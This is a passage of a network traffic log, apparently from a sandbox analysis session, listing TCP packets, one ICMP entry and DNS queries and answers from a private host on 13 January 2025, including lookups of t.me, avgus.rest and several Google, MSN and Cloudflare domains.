Jan 13, 2025 20:18:36.271583080 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.341725111 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.342169046 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.342814922 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.343283892 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.438435078 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.439174891 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.439384937 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.439929008 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.440551996 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.470324039 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.474329948 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.491754055 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.492355108 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:36.586930037 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.587591887 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.588318110 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:36.588682890 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:47.426752090 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:47.427123070 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:47.522452116 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:47.523170948 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:47.524344921 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:47.524676085 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:49.299372911 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:49.299493074 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:49.394315004 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:49.396104097 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:49.396425009 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:49.403100967 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:50.263917923 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:50.264594078 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:50.265760899 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.359601021 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:50.361308098 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:50.361407042 CET	443	56566	172.64.41.3	192.168.2.5
Jan 13, 2025 20:18:50.361660957 CET	56566	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:18:50.579749107 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.711438894 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.711467981 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.711674929 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.711700916 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.715327024 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.717911005 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.718115091 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.718741894 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.718898058 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.821521997 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.821548939 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.821563005 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.821574926 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.822319984 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.822716951 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.823640108 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.823756933 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.823930025 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:50.919177055 CET	443	52574	162.159.61.3	192.168.2.5
Jan 13, 2025 20:18:50.954658985 CET	52574	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:18:51.458578110 CET	56114	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:18:51.471653938 CET	53	56114	1.1.1.1	192.168.2.5
Jan 13, 2025 20:19:28.941673040 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:28.941885948 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:28.942138910 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:28.942246914 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:29.284678936 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:29.402493954 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.402662039 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.402671099 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.402678967 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.402687073 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.403572083 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:29.403634071 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:29.403671980 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:29.403717995 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:29.593424082 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.596477032 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:29.693664074 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.694333076 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.694499969 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:29.695127010 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:32.081645966 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:32.081743002 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:32.178580046 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:32.180291891 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:32.180506945 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:32.180978060 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:32.564315081 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:32.564388037 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:19:32.661695957 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:32.663362026 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:32.664040089 CET	443	63519	172.64.41.3	192.168.2.5
Jan 13, 2025 20:19:32.664498091 CET	63519	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:28.954530001 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:28.954530001 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:28.954677105 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:28.955542088 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:29.329114914 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:29.399045944 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.400943041 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:29.425137043 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.425156116 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.425163984 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.425574064 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:29.425662041 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:29.427385092 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.427592039 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:29.502053976 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.521953106 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.522264957 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:20:29.623461962 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.623485088 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.623498917 CET	443	59164	172.64.41.3	192.168.2.5
Jan 13, 2025 20:20:29.623927116 CET	59164	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.192442894 CET	65050	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:21:27.192698002 CET	62944	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:21:27.199569941 CET	53	62944	1.1.1.1	192.168.2.5
Jan 13, 2025 20:21:27.200170994 CET	53	65050	1.1.1.1	192.168.2.5
Jan 13, 2025 20:21:27.201231956 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.201419115 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.201806068 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.201939106 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.661154985 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.665528059 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.665528059 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.688461065 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.759922981 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.759965897 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.759994030 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.760021925 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.760519028 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.760720968 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.854773045 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.855528116 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:27.951709032 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.952951908 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.953885078 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:27.954511881 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:28.963994980 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:28.964164972 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:29.059303999 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:29.060342073 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:29.060573101 CET	443	55706	172.64.41.3	192.168.2.5
Jan 13, 2025 20:21:29.060975075 CET	55706	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:21:47.614439011 CET	138	138	192.168.2.5	192.168.2.255
Jan 13, 2025 20:22:33.253268003 CET	65351	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:22:33.253397942 CET	50631	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:22:33.260350943 CET	53	65351	1.1.1.1	192.168.2.5
Jan 13, 2025 20:22:33.260615110 CET	53	50631	1.1.1.1	192.168.2.5
Jan 13, 2025 20:22:33.262064934 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.262180090 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.262511015 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.262661934 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.656105042 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.731964111 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.732754946 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.754266977 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.754300117 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.754327059 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.754353046 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.754805088 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.754805088 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.757623911 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.830738068 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.855616093 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.861705065 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:22:33.960925102 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.962137938 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.962171078 CET	443	59472	172.64.41.3	192.168.2.5
Jan 13, 2025 20:22:33.966245890 CET	59472	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:28.986495972 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:28.986610889 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:28.986747026 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:28.986851931 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:30.001264095 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:30.001357079 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:30.001744986 CET	50701	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:23:30.001744986 CET	60003	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:23:30.001919985 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:30.001919985 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:30.009197950 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:32.063234091 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:23:32.999949932 CET	62636	443	192.168.2.5	172.64.41.3
Jan 13, 2025 20:25:28.990170956 CET	59643	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:25:28.990171909 CET	53696	53	192.168.2.5	1.1.1.1
Jan 13, 2025 20:25:28.997080088 CET	53	59643	1.1.1.1	192.168.2.5
Jan 13, 2025 20:25:28.997097969 CET	53	53696	1.1.1.1	192.168.2.5
Jan 13, 2025 20:25:28.998405933 CET	62941	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:25:28.998405933 CET	62941	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:25:29.313446999 CET	62941	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:25:29.921720982 CET	62941	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:25:31.132306099 CET	62941	443	192.168.2.5	162.159.61.3
Jan 13, 2025 20:25:33.001822948 CET	62941	443	192.168.2.5	162.159.61.3

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 13, 2025 20:18:32.951508999 CET	192.168.2.5	1.1.1.1	c2ba	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 20:18:02.642270088 CET	192.168.2.5	1.1.1.1	0x4c73	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:03.757492065 CET	192.168.2.5	1.1.1.1	0x57f2	Standard query (0)	avgus.rest	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:14.702614069 CET	192.168.2.5	1.1.1.1	0x1a30	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:14.702738047 CET	192.168.2.5	1.1.1.1	0xcac3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:18.959244013 CET	192.168.2.5	1.1.1.1	0xdf17	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:18.959494114 CET	192.168.2.5	1.1.1.1	0xba20	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:19.960778952 CET	192.168.2.5	1.1.1.1	0xbaee	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:19.968600988 CET	192.168.2.5	1.1.1.1	0x719b	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:27.850622892 CET	192.168.2.5	1.1.1.1	0x115b	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:27.851078033 CET	192.168.2.5	1.1.1.1	0xcb11	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:28.980734110 CET	192.168.2.5	1.1.1.1	0xbbf4	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:28.980882883 CET	192.168.2.5	1.1.1.1	0x92fa	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jan 13, 2025 20:18:30.091603994 CET	192.168.2.5	1.1.1.1	0xb1a0	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:30.091912985 CET	192.168.2.5	1.1.1.1	0xc23f	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:30.102145910 CET	192.168.2.5	1.1.1.1	0x76ad	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:30.102291107 CET	192.168.2.5	1.1.1.1	0xeab2	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:30.112276077 CET	192.168.2.5	1.1.1.1	0x736b	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:30.112726927 CET	192.168.2.5	1.1.1.1	0xb3e4	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:30.118606091 CET	192.168.2.5	1.1.1.1	0xf247	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:30.118773937 CET	192.168.2.5	1.1.1.1	0x9f86	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:32.692521095 CET	192.168.2.5	1.1.1.1	0xa729	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.692743063 CET	192.168.2.5	1.1.1.1	0x5655	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:32.693419933 CET	192.168.2.5	1.1.1.1	0x6797	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.693582058 CET	192.168.2.5	1.1.1.1	0x65f7	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:32.718591928 CET	192.168.2.5	1.1.1.1	0x2cc	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.718741894 CET	192.168.2.5	1.1.1.1	0xa7fa	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 13, 2025 20:18:51.458578110 CET	192.168.2.5	1.1.1.1	0x9ed	Standard query (0)	yachtingiturkey.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:21:27.192442894 CET	192.168.2.5	1.1.1.1	0x2bfa	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:21:27.192698002 CET	192.168.2.5	1.1.1.1	0xf38f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 13, 2025 20:22:33.253268003 CET	192.168.2.5	1.1.1.1	0xe7f0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:22:33.253397942 CET	192.168.2.5	1.1.1.1	0x7674	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 13, 2025 20:23:30.001744986 CET	192.168.2.5	1.1.1.1	0xeab	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:23:30.001744986 CET	192.168.2.5	1.1.1.1	0xaeea	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jan 13, 2025 20:25:28.990170956 CET	192.168.2.5	1.1.1.1	0x8e1c	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 13, 2025 20:25:28.990171909 CET	192.168.2.5	1.1.1.1	0x2dff	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
2025-01-13 19:25:29 UTC	192.168.2.5	162.159.61.3	0x0	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	true
2025-01-13 19:25:29 UTC	192.168.2.5	162.159.61.3	0x0	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	true

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 20:18:02.649985075 CET	1.1.1.1	192.168.2.5	0x4c73	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:03.771358967 CET	1.1.1.1	192.168.2.5	0x57f2	No error (0)	avgus.rest		116.203.11.8	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:14.709378004 CET	1.1.1.1	192.168.2.5	0x1a30	No error (0)	www.google.com		172.217.18.100	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:14.709449053 CET	1.1.1.1	192.168.2.5	0xcac3	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 13, 2025 20:18:18.966116905 CET	1.1.1.1	192.168.2.5	0xdf17	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:18.966116905 CET	1.1.1.1	192.168.2.5	0xdf17	No error (0)	plus.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:18.966646910 CET	1.1.1.1	192.168.2.5	0xba20	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:19.967519045 CET	1.1.1.1	192.168.2.5	0xbaee	No error (0)	play.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:27.857970953 CET	1.1.1.1	192.168.2.5	0x115b	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:27.858582973 CET	1.1.1.1	192.168.2.5	0xcb11	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:27.993576050 CET	1.1.1.1	192.168.2.5	0xc24a	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:27.993576050 CET	1.1.1.1	192.168.2.5	0xc24a	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:27.994327068 CET	1.1.1.1	192.168.2.5	0xa9c5	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:28.987628937 CET	1.1.1.1	192.168.2.5	0x92fa	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:28.989563942 CET	1.1.1.1	192.168.2.5	0xbbf4	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:30.098381042 CET	1.1.1.1	192.168.2.5	0xb1a0	No error (0)	sb.scorecardresearch.com		18.245.60.76	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:30.098381042 CET	1.1.1.1	192.168.2.5	0xb1a0	No error (0)	sb.scorecardresearch.com		18.245.60.72	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:30.098381042 CET	1.1.1.1	192.168.2.5	0xb1a0	No error (0)	sb.scorecardresearch.com		18.245.60.107	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:30.098381042 CET	1.1.1.1	192.168.2.5	0xb1a0	No error (0)	sb.scorecardresearch.com		18.245.60.53	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:30.109076977 CET	1.1.1.1	192.168.2.5	0xeab2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:30.109143972 CET	1.1.1.1	192.168.2.5	0x76ad	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:30.119184971 CET	1.1.1.1	192.168.2.5	0x736b	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:30.120556116 CET	1.1.1.1	192.168.2.5	0xb3e4	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:30.125509977 CET	1.1.1.1	192.168.2.5	0xf247	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:30.125901937 CET	1.1.1.1	192.168.2.5	0x9f86	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:32.699579954 CET	1.1.1.1	192.168.2.5	0xa729	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.699579954 CET	1.1.1.1	192.168.2.5	0xa729	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.699600935 CET	1.1.1.1	192.168.2.5	0x5655	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 13, 2025 20:18:32.700402021 CET	1.1.1.1	192.168.2.5	0x6797	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.700402021 CET	1.1.1.1	192.168.2.5	0x6797	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.700683117 CET	1.1.1.1	192.168.2.5	0x65f7	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 13, 2025 20:18:32.725322008 CET	1.1.1.1	192.168.2.5	0x2cc	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.725322008 CET	1.1.1.1	192.168.2.5	0x2cc	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Jan 13, 2025 20:18:32.725337029 CET	1.1.1.1	192.168.2.5	0xa7fa	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Jan 13, 2025 20:18:32.937753916 CET	1.1.1.1	192.168.2.5	0xad28	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 20:18:32.937753916 CET	1.1.1.1	192.168.2.5	0xad28	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
